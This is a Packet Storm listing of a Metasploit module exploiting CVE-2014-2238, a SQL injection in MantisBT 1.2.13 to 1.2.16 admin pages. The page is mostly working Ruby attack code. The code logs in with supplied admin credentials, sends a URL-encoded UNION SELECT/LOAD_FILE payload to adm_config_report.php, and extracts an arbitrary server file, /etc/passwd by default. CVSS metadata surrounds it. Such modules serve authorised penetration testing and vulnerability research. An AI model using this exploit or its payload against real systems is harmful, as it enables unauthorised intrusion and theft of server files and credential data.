Lucene search

K
packetstormJakub Galczyk, Brandon Perry, metasploit.comPACKETSTORM:180677
HistoryAug 31, 2024 - 12:00 a.m.

MantisBT Admin SQL Injection Arbitrary File Read

2024-08-3100:00:00
Jakub Galczyk, Brandon Perry, metasploit.com
packetstormsecurity.com
25
metasploit module
remote code execution
sql injection
arbitrary file read
mantisbt
vulnerability
1.2.13
1.2.16
1.2.17
cve-2014-2238
information security
filepath
relative uri
authentication
server response
response validation
linux
windows

CVSS2

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

AI Score

7

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "MantisBT Admin SQL Injection Arbitrary File Read",  
'Description' => %q{  
Versions 1.2.13 through 1.2.16 are vulnerable to a SQL injection attack if  
an attacker can gain access to administrative credentials.  
  
This vuln was fixed in 1.2.17.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Jakub Galczyk', #initial discovery  
'Brandon Perry <bperry.volatile[at]gmail.com>' #meatpistol module  
],  
'References' =>  
[  
['CVE', '2014-2238'],  
['URL', 'https://www.mantisbt.org/bugs/view.php?id=17055']  
],  
'Platform' => ['win', 'linux'],  
'Privileged' => false,  
'DisclosureDate' => '2014-02-28'))  
  
register_options(  
[  
OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd']),  
OptString.new('USERNAME', [ true, 'Single username', 'administrator']),  
OptString.new('PASSWORD', [ true, 'Single password', 'root']),  
OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])  
])  
  
end  
  
def run  
post = {  
'return' => 'index.php',  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'secure_session' => 'on'  
}  
  
resp = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/login.php'),  
'method' => 'POST',  
'vars_post' => post  
})  
  
if !resp or !resp.body  
fail_with(Failure::UnexpectedReply, "Error in server response. Ensure the server IP is correct.")  
end  
  
cookie = resp.get_cookies  
  
if cookie == ''  
fail_with(Failure::NoAccess, "Authentication failed")  
end  
  
filepath = datastore['FILEPATH'].unpack("H*")[0]  
  
payload = "save=1&filter_user_id=0&filter_project_id=0&filter_config_id=-7856%27"  
payload << "+UNION+ALL+SELECT+11%2C11%2C11%2C11%2CCONCAT%280x71676a7571%2CIFNULL%28CAST%28HEX%28LOAD_FILE"  
payload << "%280x#{filepath}%29%29+AS+CHAR%29%2C0x20%29%2C0x7169727071%29%2C11%23&apply_filter_button=Apply+Filter"  
  
resp = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/adm_config_report.php'),  
'method' => 'POST',  
'data' => payload,  
'cookie' => cookie,  
})  
  
if !resp or !resp.body  
fail_with(Failure::UnexpectedReply, "Error in server response")  
end  
  
# qgjuq is prepended to the result of the sql injection  
# qirpq is appended to the result of the sql injection  
# This allows the use of a simple regex to grab the contents  
# of the file easily from the page source.  
file = /qgjuq(.*)qirpq/.match(resp.body)  
  
file = file[0].gsub('qgjuq', '').gsub('qirpq', '')  
file = [file].pack("H*")  
  
path = store_loot("mantisbt.file", "text/plain", datastore['RHOST'], file, datastore['FILEPATH'])  
  
if path and path != ''  
print_good("File saved to: #{path}")  
end  
end  
end  
`

CVSS2

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

AI Score

7

Confidence

Low